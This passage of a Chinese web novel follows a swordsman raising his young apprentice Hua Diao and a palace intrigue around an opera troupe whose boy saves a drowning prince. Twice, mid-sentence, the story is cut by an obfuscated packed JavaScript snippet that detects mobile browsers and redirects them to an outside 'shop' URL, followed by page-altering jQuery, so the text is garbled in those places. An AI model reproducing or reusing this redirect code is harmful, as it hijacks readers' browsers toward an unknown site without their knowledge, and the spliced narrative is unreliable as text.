慕卿目光微微一怔,没有说什么,只是接过钱袋,悬在腰间。 他们最初相遇的时候,他带着花雕吃饭,当时没结账就跑了路,事后花雕借了他的钱去还给店老板。 这丫头,竟还记得此事,慕卿想着,嘴角勾起一抹浅浅的笑。其实,还不还钱都无所谓,只要他的丫头开心就好。 却口是心非道:“丫头,要不咱们把这一年来衣食住行的总共花费结一下?” “我还剩九两,你看看够不够。”花雕也不明白套路,把慕卿的话当了真,小手诚恳地奉上剩下的所有银子。 九两整,不多不少。 额,这是不是花钱花得有点快了,慕卿不解。在集市上,这小鬼离开一眨眼的功夫,近一两银子就没了,看来是时候该教教她没钱是一种怎样的可悲了。 “够了够了,九两够你吃好几年呢。”慕卿笑得嘴都合不拢了,一脸贼兮兮地拿走了花雕仅剩的九两银子。 嗯!先保管起来,免得她大手大脚,等以后她花钱有分寸了再还给她。 倒是花雕不以为然,一副钱乃身外之物的淡定,就算没钱,她还有慕卿嘛,大不了一哭二闹三上吊,她想要的东西,他总会买的。 “师父,你知道我拿那一两银子干嘛去了吗?” 见慕卿半天都一言不发,花雕乌黑的眸子盯着他望了好久,故作神秘。 也不知道这个小鬼又买了什么好吃的,慕卿仔细回忆着西梁城有哪些美食吸引了花雕,开始猜是冰糖葫芦、八宝果脯还是杏梨酥。 可当小丫头松开拳头,手掌中躺着的是一只钗,钗头是一只金镀的蝴蝶,羽翼翕动,仿佛要乘风而去。 “师父,我看你钗子上面的花都磨褪色了,我给你新买了一支钗。” 那个瞬间,钗头的蝴蝶仿佛活了一般,就那么飞进了慕卿心里。 待慕卿观赏完了,花雕拿了过去,站在一方嶙峋怪石上,想给慕卿戴上。 慕卿很配合地蹲下身,碎碎念道:“师父的钗子都是假的,每个顶多十文钱呐。” 这丫头,真浪费,尽管心里埋怨着,面上却露出欣慰的笑容。 - 醴泉山的桃花又开了。 几年前,在还没有花雕的时候,慕卿闲来无事,在醴泉山上种了几百棵桃树。正是人间四月,山上桃花始盛开的季节,漫天桃花随风而舞,席卷扑面而来,最后零落成泥。 二人有更重要的事,根本无心赏景。 慕卿拿了铁锹,敲定好一片树荫,开始一掀一铲地挖坑,花雕不知道他要干什么,以为又是什么新奇有趣的玩意,蹲在旁边好奇地看着。 等坑挖得大小足够的时候,慕卿将一个大木箱子埋了进去,箱子里面装了六坛酒。 这是去年第一批酒中最好的六坛,花雕今年也是六岁。 “师父,这是什么酒啊?”见慕卿把酒埋好了以后,又把土地平整好,撒上草籽,花雕好奇道。 她知道,酒分很多种,有白酒、黄酒、米酒…… 即便是同一种酒,也有很多名字,什么竹叶青呀,千里醉呀,梨花白呀,白玉泉呀,十八仙呀……数不胜数。 “唔,名字还没想好,等师父想好了,再告诉你哈。” “嗯嗯。”花雕如小鸡啄米般乖巧地点了点头。 “为什么我们要在这里埋酒啊?”花雕学着慕卿的样子,在土堆上跺脚,将土地压实。 慕卿想了一会儿,要怎么跟这个小丫头解释呢,算了,先保密吧。 “这酒啊,给我生命中很重要的一个女子。”慕卿目光温柔得如不起波澜的春水。 看着他嘴角盈盈的笑意,花雕莫名的醋意自心底翻涌而来,磨精心里面还装着一个别的小妖精,这个小妖精要跟她抢师父。一想到这个,花雕气成一个小鼓包,踢了慕卿竖在土中的铁锹一脚,背过身去,不想再理会他。 慕卿见状,觉得好气又好笑,心里暗暗念道,傻丫头,这都是给你的呀,自你出生起,每年一坛。等你嫁作他人,这些,就是师父给你的嫁妆。每一坛都是琼浆佳酿,都是人间极品,如此也不负为师之名了。 并未将心底真实的想法告诉她,只是走过去,挠了挠花雕的胳肢窝,花雕被逗得痒痒的,笑出了眼泪:“师父师父,好痒好痒。” 上山下山,花雕折腾得累了,非要让慕卿背下山。 花雕挂在慕卿背上,闻着他身上好闻的香味,渐渐入了梦乡。梦里有山珍海味,美酒珍馐,花雕吃得肚皮圆滚,哈喇子淌了慕卿一肩膀。 慕卿表情上略带嫌弃,却也没说些什么。 偶尔,慕卿也会带着花雕到桃花树下去看看,那些草籽已经发芽生长,和四周的景色并无差异,即便是细看,也看不出任何端倪。 花雕常跟在他后面,踩着他的影子,任由阳光肆意地笼罩着他高大挺拔的身躯。 天气好的时候,二人在湖边垂钓,花雕安静地端坐在慕卿身边,也不打岔,全程目不转睛地盯着湖面,生怕漏了哪一口粮。 下雨的时候,二人排坐在门口,谈天说地。 有一次,慕卿问她:“丫头,你以后想做什么?” “想吃遍天下美食。” “还有呢,有更大的理想吗?” “想带着师父,一起吃遍天下美食。”花雕歪了歪脑袋,很认真地想了想,答道。 慕卿在一旁听着,无奈地摇了摇头,这丫头,除了吃,能不能有点大志向。 春去秋来,寒来暑往。 第二年年末,慕卿又带着花雕来到了黄山岛。 “花丫头,又胖了啊。”鹤发的无涯子,摸着花雕毛茸茸的脑袋,又揪了揪她的包子脸。 “嘻嘻嘻,是师父和师公喂养得好。”花雕随即递上今年慕卿带来的酒。 第三年,却不见无涯子的身影。 “这老头,肯定又一个人出去玩了,过年都不陪我们一起,真不够意思。”慕卿身子骨像是软了一般,懒洋洋地躺上身旁的太师椅,还顺手摸了把桌上堆积的灰尘。 只是花雕看不见,他眼眶里满含的泪水,也听不出,他语气中的故作坚强。只有慕卿知道,那个救他于水火,教他习武练剑的老人早已与世长辞。 因为无涯子曾说,慕卿是个居无定所的人,如果有一天自己溘然长逝,也没有办法知会慕卿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598159|156000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就把门楹上那块辟邪的铜镜取下来。 慕卿进门前就没有看见那铜镜,心都凉了一截。 第四年第五年至以后的很多年,黄山岛上再也没有了无涯子。 只有慕卿,每年过年都雷打不动地来到这座岛上,把无涯子屋里的落尘打扫一遍,做一桌子好吃的,尔后在两个空碗里倒满酒,端起其中一碗,朝另一碗碰去:“师父,我敬您。” “师父,师公他人呢?”起初花雕不解,明明对桌无人,师父这是在和谁喝酒。 “他仙去了。” “仙去是什么?” “就是驾鹤西游,浪迹四方,不再受这红尘俗世的困扰,也不再担心生老病死了。” “这么棒的吗?花雕也要骑仙鹤。”花雕不知道何为红尘,何为俗世,可她却深知,什么是病痛。小时候她总是生病,可难受了,那时候娘亲总会守着她。 那之后花雕大病了一场。 是染上了风寒,小丫头咳嗽不止,小脸涨得通红。 隔壁的婶子家养了一群大白鹅,每每踱着步子从花雕面前经过,花雕就想起了慕卿说过的“驾鹤西游”。 终于,在鹅群第四次经过的时候,花雕抓住了一只大鹅,不由分说地跨了上去,将那个大鹅肥硕的身躯压在了地上。 鹅群受到了惊吓,发出凄厉的长鸣,这叫声引来了慕卿。 “你在干什么!” “小花要驾鹤西游,这样就不会这么难受了,呜呜呜。” 见群鹅起而攻之,慕卿眼疾手快一把捞出花雕,纠正道:“这是大鹅。” “仙鹤。” “这么跟你说吧,大鹅是可以吃的,仙鹤是不可以吃的,那你现在说说,这是大鹅还是仙鹤?” 看慕卿拧着眉毛,面露愠色,花雕乖巧应道:“大鹅。” “这还差不多嘛。” “那咱们可以吃大鹅了吗?”望着慕卿,花雕眼中满满的期待。 “……” 吃着喷香的大鹅,慕卿突然想起来自己似乎有什么忘了告诉她。 “傻丫头,你知道驾鹤西游是什么意思吗?就是‘死了’的意思。死了以后呢,你就看不到这世上的任何风景,吃不到各种各样的美食了。” “那小花以后再也看不见师公了,就像看不见娘亲了那样对吗?” 这让慕卿想起多年前望南山上那个站在娘亲墓前哭得梨花带雨的小姑娘。 看着小鬼一脸严肃较真的表情,慕卿沉默了,只是缓缓地伸出手,夹了一块肉放在她碗里,良久才道了句:“没事的,你还有我呢。” “磨精会一直陪着小花吗?” “可能吧,如果有一天我不在你身边了,你自己一个人也要好好地走下去,你知道吗?” “不要,小花才不要和磨精分开。”花雕撂下碗筷,一把扑过去抱住他的手臂,蹭了蹭。 慕卿摸了摸她的头,傻孩子,这天底下哪有那么多事可以遂愿的哇。 某日,在去湖浙的路上,两人来到一家客栈。客栈布置典雅,隔间里放着一方屏风,上面缀着一副仙鹤图。 画上有几只鹤,或立于苍翠的松树之间,或静静梳理着羽毛,或翱翔于天际。 花雕看得挪不开眼,又想起上回炖过的大鹅,咽了咽口水,拽了拽慕卿的衣角:“磨精,大鹅……” 慕卿瞥了一眼房间里面的仙鹤图,反手就是一个暴栗:“那是仙鹤,都胖成什么样了,还吃吃吃。” 花雕捂着头上鼓鼓的小包包,瘪着嘴,一脸的委屈巴巴,她有点搞不明白了,不都是白色的会飞的,大鹅和仙鹤到底有什么区别。 可慕卿知道,不是花雕胖了,而是他的小丫头长大了,从前他可以轻而易举地将她高高举过头顶,而现在,慕卿觉得自己抱她已经开始有些吃力。 18. 戏子入画满临初8 七月流火,蔷薇爬满架,流芳园满园苍翠,庭院里芬香四溢,花开簇簇。 太子邀群臣于此宴饮,会场人声鼎沸,觥筹交错,虫鸣鸟雀声和着丝竹管弦声,一场视听的饕餮盛宴在此展开,一时间恍若仙境。 放眼望去,权贵满座,女眷纷繁似锦。成队训练有素的宫女奴才排着整齐的队伍,端着佳肴和酒水鱼贯而入。 流芳园正中央,是临时搭建的舞台。此番盛宴,除去柳源戏班,还有两个舞班和一个杂耍班。柳源戏班特地被排在最后,还安排了临时点戏环节,为的就是让大家能听得尽兴。 其中一个舞班来自炎久,班内个个都是美人儿,她们身材高挑,妖娆绝色,举手投足中带着漫卷黄沙般的泼辣,别具一番风情。 另一个舞班来自暮晚,班内女子蕴着水乡儿女的灵动清秀,她们莲步款款,水袖轻扬,更多的是带着小桥流水般的温婉。 一舞倾城,一曲倾城。在场的男人们都看得直了眼。 也不知哪家大人家的小娇妻,不依不饶地撒起泼,和自家官人打趣道:“讨厌啦,那你说说是台上人好看还是奴家好看?” 那个本来全神贯注赏舞的男人马上挪开目光,安慰身边的人:“都是凡脂俗粉,身份下贱,再好看,也不及你。” 听得那女子娇羞一捂嘴,偷摸着乐去了。 话是不假,虽然歌女是鲜有的能登得上台面的女子,但搔首弄姿,于他人面前卖艺,与风尘女子又有何异?故而社会地位是极低的。 但风尘中也蕴含着机遇,有哪个舞班的女子能够被富贵人家的少爷公子看中,纳为小妾,一辈子衣食不愁也是好的,若是再有些心计,上位亦不是难事。 那个杂耍班带来只白毛猴子。那猴子仿佛通灵般,能听懂主人的各种话,配合着主人的表演,逗得大家时不时捧腹,甚是惹人喜爱。 满院的红色鎏金宫灯照得富丽堂皇,恍如白昼,却有人根本无心赏景。 作为管事,沈佳期深知此次出演的重要性,他穿梭在人群里,与四周醉生梦死的宾客格格不入,反复检查行头是否齐全,督促妆容的细枝末节,忙得团团转。是的,他要确保每个环节不出错,不然得罪哪家的公子权贵,掉脑袋是分分钟的事情,哪里还顾得上花伶、白无垢两个什么事都不干只是进来看热闹的小孩。 戏已开场,吹拉弹唱,生旦净丑,一应俱全。粉墨登场的戏台,才是戏子们最好的归宿。 一曲曲折子戏,不唱开头,不唱结局,平添几分遐想和韵味。 太子妃听得过瘾,一连点唱三台戏,沈佳期和大家在台上演得满头大汗,其中也包括叶童舟。 倒是白无垢,没有沈佳期的管教约束,像是被放归回山的老虎,彻底放飞自我,带着花伶在院子里追着漫天萤火,二人玩累了以后就随意睡倒在宫墙旁的草篱里。 偶然瞥见架上的葡萄,白无垢像是发现宝贝般眼冒亮光,一把拨过遮挡住的绿叶,连串扯下来。 花伶像是想起来什么一样,如触电般从地上坐起,小爪子欲把白无垢从地上捞起来:“别坐地上,不然弄脏衣服,红柳姐姐难洗,又要说你。” “说就说呗,大不了哪天不开心,我就回到回风寨去,那里自由也没人管,还都是一帮大老爷们,谁在乎这些鸡毛蒜皮的小细节。哎,你别说,很长时间没看到霜满天,我有点想他。” 白无垢总是摆着副天不怕地不怕的模样,依旧背着黄土,随心所欲,却又不明白,心里突然冒出的思念是为何,只是把手中刚摘的葡萄递给花伶:“呐,给你。” 距离上次见霜满天不过是半个多月。在回风寨的时候,白无垢总嫌霜满天难伺候,对自己总板着一副死脸,严苛多于温柔,笑起来的时候却又好像心藏城府,言语中也是话中有话。跑出寨子是意外,霜满天却一点都不怪他,反而替他留下解药,让沈佳期带回几句关怀的话,这让白无垢多少有些意外。 “这是什么?”花伶在自己短暂的五六年生命里,根本没见过葡萄这种物件,只是觉得拎着一串紫色的小球球,有些有趣。 “呐,这个可以吃。”白无垢扯下来一颗,细心剥皮,将晶莹的果肉塞进花伶嘴里。 “把里面硬硬的籽吐出来,那个不能吃。” 花伶很乖巧地照做,吐出三颗小小的果核,放在掌心仔细瞧着,却被白无垢挥掌打落。 “好吃吗?” 花伶点头,白无垢把一长串葡萄塞到她手里:“自己剥,就像刚才那样。” 花伶再没心思计较白无垢坐在哪里,红柳姐姐好不好洗衣物,开始执着于对付眼前从未吃过的葡萄。 刚开始的时候,还照着刚才白无垢教的模样,粒粒颗颗剥得很认真,可看到白无垢直接把葡萄塞进嘴里,然后吐出不能吃的皮和核,花伶尝试后发现这种方法更好用,便摒弃之前一颗颗剥的方法。 “按理说啊,这皇宫的就是不一样,葡萄都吃得香。” “不一样?还有别的味道吗?”花伶疑惑,抹了把嘴角的汁液,吐出皮和核,又从架上扯下一串,吃得不亦乐乎。 除去甜的,难道还有酸的?辣的?苦的? 白无垢不答,只是顾着吃葡萄。漫天星辰,没有月光,两个人的轮廓隐藏在夜色里,诡秘而又安静。 从流芳园正中央到墙边小路,是明到暗的转变,两人光顾着吃,没注意到有道黑影从墙上闪过。 那是个和白无垢年纪相仿的少年,着霁色轻衫,眉眼清秀。并未注意两人的存在,走过他们面前时,那个少年望着不远处的戏台,轻嗤一声:“戏子误国。” 不偏不倚,被两人听了个正着。 “兄弟,有远见,来,我敬你一串葡萄。”白无垢也不认生,本着好吃的大家一起分享,学着江湖豪杰的做派,大大咧咧地摘了串葡萄递给他。 玉龙吟没想到此处有人,被黑暗里两个吃葡萄的小贼吓了一跳,望着白无垢几乎被黑暗吞没的手,也不理睬。 更不怯场,质问道:“你们两个是谁,为什么胆子这么大,在我皇兄的院子里偷东西?” 看来是个皇子啊,白无垢毕竟是土匪窝里出来的,天不怕地不怕,也丝毫不畏惧,时刻记着霜满天的话,无论干什么,哪怕是吵架打架,气势上绝对不能输。 “你哪只眼睛看到我们偷了?” 那个白 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“你听过一句诗‘商女不知亡国恨,隔江犹唱后庭花’吗?”白无垢问。 花伶剪水双瞳乌亮胜过满架葡萄,不解地摇摇头,望向他。 看花伶不懂,白无垢索性耐着性子跟她讲解:“这句话是说,统治者沉迷于享乐,昏庸荒淫,不顾及国家大局,让百姓身在水深火热里。” “哇,真厉害,无垢哥哥知道的真多。”花伶随即投去崇拜的小眼神,完全忽视一旁站得挺直读书万卷的玉龙吟,两个人自娱自乐。 “嘻嘻。”鲜有人这样夸他,白无垢不好意思地挠挠头。 见自己被彻底忽视,玉龙吟气得只说了四个字:“沆瀣一气。” 花伶不懂这个词,还听错了字眼,又开始问白无垢:“螃蟹一气是什么气?是不是还有乌龟二气?” 白无垢只顾着笑,根本没回答她,什么都不懂的师姐真可爱。 见根本无法沟通,玉龙吟索性离去,皇子本就和庶民不同,自小生在宫中,锦衣玉食,根本不懂得民间的疾苦和心酸。 就连刚才白无垢递过来的那串葡萄,玉龙吟只觉得脏兮兮的粗鄙至极,并没有接。 花伶望着玉龙吟远去的背影,问白无垢:“他是谁呀?” 白无垢耸耸肩,摆手道:“一个皇子吧,不知道。” 管他谁呢,道既不同何以相为谋,纵使对面是天王老子,又与他白无垢何干? 两个人吃得累了,相约去莲池里面摸鱼。 彼时七月,莲池里荷花开得正盛,偶有清风袭来,吹得人神清气爽。白无垢挽起袖子,用随身的短刀削尖树枝,把池里的观赏锦鲤一条条叉上来,花伶在旁边看得直拍手叫好,又在湖边扯了水草做成细绳,把他丢上岸的鱼串珠般串起。 回风寨靠山傍水,山高水深,摸鱼捉虾只是日常。此处为湖,于白无垢而言,不过是个小水坑子,摸几条鱼信手拈来,不过有花伶在一旁加油助威,他倒是干得更带劲了。 “救命啊!”不远处,传来孩童熟悉的声音,在风里又很快被吹散,时有时无。 19. 戏子入画满临初9 流芳园人声鼎沸,宾客云集,又有美酒佳肴和美人佳曲助兴,好不热闹。 而几墙之外,却是另一番风景。 没有灯火,只有伸手不见五指的黑暗。夜幕仿佛一个巨大的黑色染缸,裹挟着晦暗不明的星子,将杀机和危险揉杂其中。潜藏在暗夜里的知了聒噪地叫嚣着,一声声惊响,恍若久经羁旅的僧人,叩开积满尘埃的古旧佛院。 一个六七岁的男童神色慌张,两步一回头,步履匆匆地提着一盏昏黄的纸灯笼,穿过百尺回廊,折过庭院,眼见着即将走上拾翠桥。 突然,黑夜中伸出一双手,顺势将他推进池塘。男童手中那盏昏黄的灯笼,啪嗒一声掉在地上,溅出几丝火星,随即整个灯笼都被火光吞噬。 他还未来得及看清那人的面貌,就坠入满池冰冷,如纹理般丝丝入心的恐惧袭来,来不及多想,脱口就是一句“救命”。而一张嘴,便又被灌了满嘴的腥咸,是湖中水草的味道。 不得已,只得奋力在水中往上游着,越扑腾,反而沉得越快。而肇事者,嘴角洋溢起得逞的邪笑,拖着裙摆潜伏进一旁的灌木中,静静地等待着结果。 不出五分钟,等湖里没了动静,她就可以回去复命,除去贵妃娘娘的心头大患,指不定能得娘娘器重,平步青云。 “救……命……啊!”落水的孩童被呛得喘不过气来,却还是极力呼救。 此处地段偏僻,寻常白日里来的人也不多,更何况是晚上呢,即便如此,他也祈求此时能有一两个过路的人搭把手。 玉龙吟本来刚跟两个宫外来的莫名其妙的娃娃怄完气,郁闷至极,正欲在宫里四处走走,只听得扑通一声,尔后就是有人的呼救声,急忙寻找声音的来源,想前去搭救。 扑水声越来越近,等玉龙吟跑近才发现,原来是皇后娘娘膝下的小皇子玉景奕落了水。 奈何玉龙吟也不会水,只能扯着嗓子呼救,眼睁睁看着水中的那人挣扎,越陷越深。 白无垢和花伶本正在莲池的一边叉锦鲤,听得有忽远忽近的求救声,急忙去寻那声音的来源。 青芙湖是一片葫芦状的湖泊,面积挺大,所幸的是,他们和求救的声源距离并不远。没一会儿,白无垢和花伶就见到湖边手足无措的玉龙吟,灯火下他的脸庞煞白。 “河里有人落水,快救救他!”玉龙吟打着灯笼,指着不远处河上漂浮的一串泡泡。 人命关天,见是有人落水,说时迟那时快,白无垢身影矫健地跃入池中,将已经整个没入湖中失去意识的玉景奕一把捞起来,花伶看着两人湿答答地走上岸,赶紧去扶。 没多久,青芙湖四周围了些许宫女奴才,见此情此景,吓得魂飞魄散,匆匆忙忙地去寻太医。 白无垢倒是面不改色心不跳,满眼淡定地看着被呛昏迷的玉景奕,又瞅了旁边急得团团转的玉龙吟一眼,不屑地鄙夷道:“喂,我说你,吃这么多饭白长的哇,一直杵在边上干嘛?” “我……”我也想救啊,可是我不会水啊,玉龙吟百口莫辩。 “你自己不会游泳,你就不会找别人帮忙吗?如果我不来,也没人听见求救声,你就站在岸上看着他被淹死?”白无垢又是一顿奚落,花伶在一边帮腔作势,气鼓鼓地叉着腰,听着白无垢数落玉龙吟。 有毒,这个人真的有毒。他明明,有呼救的啊,平时他一声令下,马上就会有人俯首称臣,这次他喊得这么大声,怎么会听不见呢……他贵为皇子,至今还没有人敢这么跟他说话,玉龙吟虽是觉得委屈,但细想,觉得白无垢说得也在理,毕竟被救上来的人来头也不小。 掉进湖里的人是玉景奕,被收养在皇后娘娘名下的孩子,虽不是亲生,可也是被皇后娘娘视为心头宝的小皇子。说来这个孩子也可怜,他的母亲静妃,就在几年前,被发现和侍卫私通,被打入冷宫,不见天日。 尽管整个事件疑点重重,但毕竟有损皇家颜面,草草地便结了案。静妃和小景奕能活下来已经是皇恩浩荡,没人敢去翻这个旧账,自然而然两人再无翻身之日。 皇后和静妃姐妹情深,静妃落难,除去皇后也无人敢帮她说两句话。只是皇后看到小玉景奕没人照顾,还经常被其他的小皇子欺负,便将其收到自己名下抚养。即便如此,因生母的干系,宫里其他人打心底里对这个孩子也没几分待见,只是碍着他有皇后娘娘的殊宠,不得不阿谀奉承。 皇后娘娘本来在流芳园看戏,听下人报告玉景奕落水昏迷,就火急火燎地回宫。 玉景奕的贴身奴才丫鬟跪得满地花花绿绿,几名御医正在一旁候命。都知道玉景奕是颗弃子,可整个皇宫里唯一将他宝贝着的人便是皇后。皇后位高权重,小皇子要是有半点闪失,他们可都要提头来见。 在流芳园,沈佳期唱完下台的时候,发现人群里的白无垢和花伶已经不见了身影,慌忙四处寻找。没一会儿,就有宫人急忙来报,说两个小家伙在皇后娘娘那里,沈佳期以为出了什么岔子,赶忙跟上那宫人的步伐。 因为白无垢和花伶两人及时地把玉景奕从湖中捞起来,这才让他性命无虞,便被宫人们拦下来了,安排在候客的厢房。 四壁的博物架上摆满各种玲珑玉器,造型千奇百怪,无一不是价值连城。花伶在旁边看得啧啧赞叹,时不时伸手摸几下,一边还朝白无垢嘀咕几句。 白无垢刚开始还有耐心地应她几句,后来嫌她聒噪。 有好水好茶伺候着,白无垢把花伶抱上旁边的太师椅,又捡了块很有看相的糕点塞到她手里,试图堵住她的嘴巴。 “无垢哥哥,皇后娘娘是不是一个很大的官啊?”花伶并不消停,继续追着他问东问西。 “待会儿见到她,别乱说话,记得,你是一个哑巴。” 花伶一听这话,又看见白无垢眼中的坚毅,赶紧捂住嘴巴,连连点头,一双琥珀色的眸子骨碌转着。 没安静多久,花伶又吱声:“无垢哥哥,我们刚才抓的鱼还在青芙湖边上,没拿。” 想着自己的劳动成果差点打了水漂,白无垢仰天长啸道:“啊!不行,待会儿一定要都拿上。” 另一边,皇后回到宫中,发现玉景奕并无大碍,一颗悬着的心才落下,开始追问事情始末。 “母后,刚才,有人把我推进湖里。”玉景奕受到不小的惊吓,面对养母的询问,哭哭啼啼大半天也没把整个事情说清楚。 “儿臣想去看……”还没说完,就被一旁的宫人捂住嘴巴。 想去看母妃。 要知道,玉景奕母妃,可是宫中大忌。今天宫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598161|156000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里热闹,所有人的目光都在流芳园,玉景奕出宫前,特地遣散众人,以免人多阵势大惊扰到旁人,就是想要去看一看生母静妃。 皇后娘娘每每想起静妃,也是无不哀婉长叹,泣涕涟涟,所以即便是在皇后娘娘的艳姝园,谈论静妃也是忌讳。 “小皇子贪玩,无心看戏,想着要和各位奴才宫女们在青芙湖旁边的假山玩捉迷藏,这才不慎落水。是我等疏忽,还请娘娘责罚。”领头的丫鬟吓得花容失色,赶紧揽责。 “罢了吧,没事就好,我去见见救小皇子的两位恩公,你们也不必太过自责,以后注意些就是了。” “是。”宫人们低着头齐声应答,并未瞧见面前人拖着逶迤的长裙,步态婀娜地走远。 沈佳期进门就看见乖巧端坐的花伶和翘着二郎腿的白无垢,长叹口气,两个娃娃没事,心里的石头总算落下。 “师父。”花伶瞧见来人,满心欢喜地蹦上前去,给他一个大大的抱抱。 “老头。”白无垢睨了他一眼,漫不经心地说道。 看到花伶乖巧黏人的模样,沈佳期顿时没了什么火气,揉揉她毛茸茸的脑袋。 这花伶之前跟着叶童舟,本来是极乖巧的,自从白无垢来以后,调皮捣蛋的本事就上升了几个档次,想到这里,沈佳期拉下脸冷冷地说道:“又闯什么祸了?” “不是,老头,你就不能盼我点好吗?”白无垢嘴里还含着半块糕点,忿忿不平说道。 “不是你想的那样,师父,你听我说……”听花伶絮絮叨叨说着白无垢见义勇为的事迹,沈佳期露出不可置信的表情,天呐,今天的太阳打西边出来了?无垢这小子居然成了气候。 —— “事办成了吗?”塌上躺着的人是容贵妃,她似寐非寐,懒洋洋地问了句。 前些日子大雨,小皇子贪玩,在外处玩耍时,天黑路滑,不慎溺水而亡。本来想着这个计划天衣无缝,毕竟这个宫中的野种除了皇后,也不招其他人喜欢,谁还会去过分探究事情的始末。 “没……没……也不知道从哪里出来……来了个小子,把……把玉景奕救起来了。”下面人跪在地上,抖若筛糠,结结巴巴说道。 “小子……难不成?”狭长的丹凤眼中闪过几丝狐疑,怒不可遏地说道:“给我查,这个人到底是什么来头!” “是……”底下人唯唯诺诺道。听闻这容贵妃一向手段阴险,心肠歹毒,今天能从她手中捡回小命,实属难得。 容贵妃精致的妆容上挂满了细密的汗珠,她思绪并不安宁。当初她争宠,费尽心机打压静妃,本想着铲草除根,将玉景奕这个孩子也做掉,没想到皇后娘娘极力保全玉景奕。如今好不容易逮住机会,却被搅乱了,难道是百足之虫,死而不僵,静妃还有其他势力,打算复生? 没出半日,探子就回来了。 “主子我调查清楚了,那个小子叫白无垢,他跟玉景奕并无关联,只是柳源戏班的一个戏子,不过……他身份可不一般。” “哦?”塌上的人花容月色中带着几丝惊愕,一个戏子,身份能不一般到哪里去?随即又品了口紫米冰露玉酿:“这可怎么说?” “那姓白的小子身上有一枚玉佩,那图案可大有来头,上面有一条双爪龙。” 20. 戏子入画满临初10 众所周知,龙为四爪,可这玉佩上的是双爪龙,这其中缘由与耿安国的皇位继承权密不可分。 耿安国为三家之国,当年老国王膝下并无皇子,步入年迈,自觉风年残烛,为选继承人的事情头疼不已。 倒是国内有三大诸侯势力,这三大势力家有三位公子,他们才华横溢,又颇具威望。老国王将国家交给他们三人每人打理一年,约定好将百姓们最支持的那个人立为新王。 哪知三位公子在治国之道上各有见解,并相互补充,并行不悖。他们在位三年里,耿安国百姓安居乐业,奸恶尽除,每位皇子身后都有诸多的支持者。 转眼间,三年之期到来,到底让哪家公子来继承皇位?百姓们各执其词,议论不止,年逾古稀的老国王也无法定夺。 争议持续了很久,三位公子也在治国的长期切磋协商中发展出友谊,既不拉帮结派争权,也不打压其他二人,并且私下约定好,将来无论是谁继承王位,其他二人都要尽力辅佐,尽好人臣的本分。 见公子们和睦相处,老国王纠结的眉头渐渐舒展,嘴角洋溢着满意的笑容,摸着花白胡子,连连抚掌颔首道:“有尔等,实乃我耿安国之大幸啊。” 于是乎,每家两年,三姓之君轮流执政,各自大展身手。耿安国疆域虽小,但因三位公子治国有方,天时地利人和,内外局势大好,发展体系自成一派,别国更加不敢觊觎。 这三家之主,一个姓白,一个姓霜,还有一个姓芈。 这双爪龙的玉佩,就是耿安国王室贵胄相互制衡的象征。单个是二爪,合在一起是六爪,而龙本身是四爪。这二爪龙寓意着公子们独善其身则孤立无援,如龙失双爪;和则能摧枯拉朽,如龙添利爪。 “耿安国也要插一手吗?有意思……”听闻探子阐述清事情始末,容贵妃用修长的丹蔻叩击着金丝楠木桌面,笑意加深,眸中多了几分阴森狠毒。 “娘娘,那咱们接下来该怎么办?”那探子贼眉鼠眼,见面前人对此人饶有兴趣,便狗腿地巴结上去问道。 “回宫,看戏。”容贵妃倒也是不紧不慢地起身,用丹蔻理了理鬓间的碎发,随即搭上身旁人的膀臂,任由宫人搀着离去。 斩草亦当除根,这玉景奕,自然是留不得的,白无垢和这个戏班子里的众人,指不定就是万事俱备里的一场东风。 她要导一出戏,提前将自己局外人的身份安排得明明白白。到时候玉景奕死了,她容淼,不过是戏台外的看客而已,跟着众人唏嘘哀叹两声,兔死狐悲地挤两滴眼泪,谁会查到她的头上来? -- 流芳园的出演很成功,太子和各路世家公子小姐们赏了柳源戏班很多金银珠宝。还因为花伶和白无垢两个小鬼意外地救起玉景奕,戏班也得到皇后娘娘的打赏,可以说是混得风生水起。第二天,柳源戏班就被国中各大权贵轮流邀请去唱戏,行程一下子排到半月后。 流转数年怕无人识,一朝得风雨满城知。 般若忙着招呼接踵而至的客人们,心里边儿还纳闷,不过是个戏班子,值得这么多达官贵人们上心吗?光是上门礼,就摆满大半个院子。 其实他们听戏赏曲儿倒是次要,主要是这柳源戏班得了太子和皇后娘娘丰厚的打赏。不俗的赏银表明,这柳源戏班可是当今玉霄国皇室的新宠,谁要是能把他们请进家门锣鼓喧天地嚎上一嗓子,那面子上是倍儿光彩。 花伶跟在般若身后,这里瞧瞧,那里摸摸,时不时还将箱子盒子掀开一条缝儿,偷偷看里面有什么宝贝物件。 东海深处的绛紫珊瑚,上面不知道有些什么白色粉末,竟使得整株珊瑚在暗黑的箱子里也能发出莹莹的绿光,像是繁星密布的夜空,煞是好看。 有个绑着红花的金丝笼中不知道装了只什么鸟儿,那鸟儿在笼中欢快地蹦达着,因有着色彩斑斓的羽毛,且叫声悦耳,极讨人喜。 诸如此类,千奇百怪,为了个柳源戏班,大家也是绞尽脑汁,好像生怕礼数不全有些怠慢,戏班就不会去似的。 白无垢替花伶把着关,这些东西不是全部都收下的,他们只有二三十号人,这么多人想请他们去,哪怕是一天两场,没个数月是走不完的,要真是这样从早到晚疲于奔走,也是折煞戏班的大家伙儿,细水长流方为持久之道,银子没赚多少人累坏了才是不值得的。 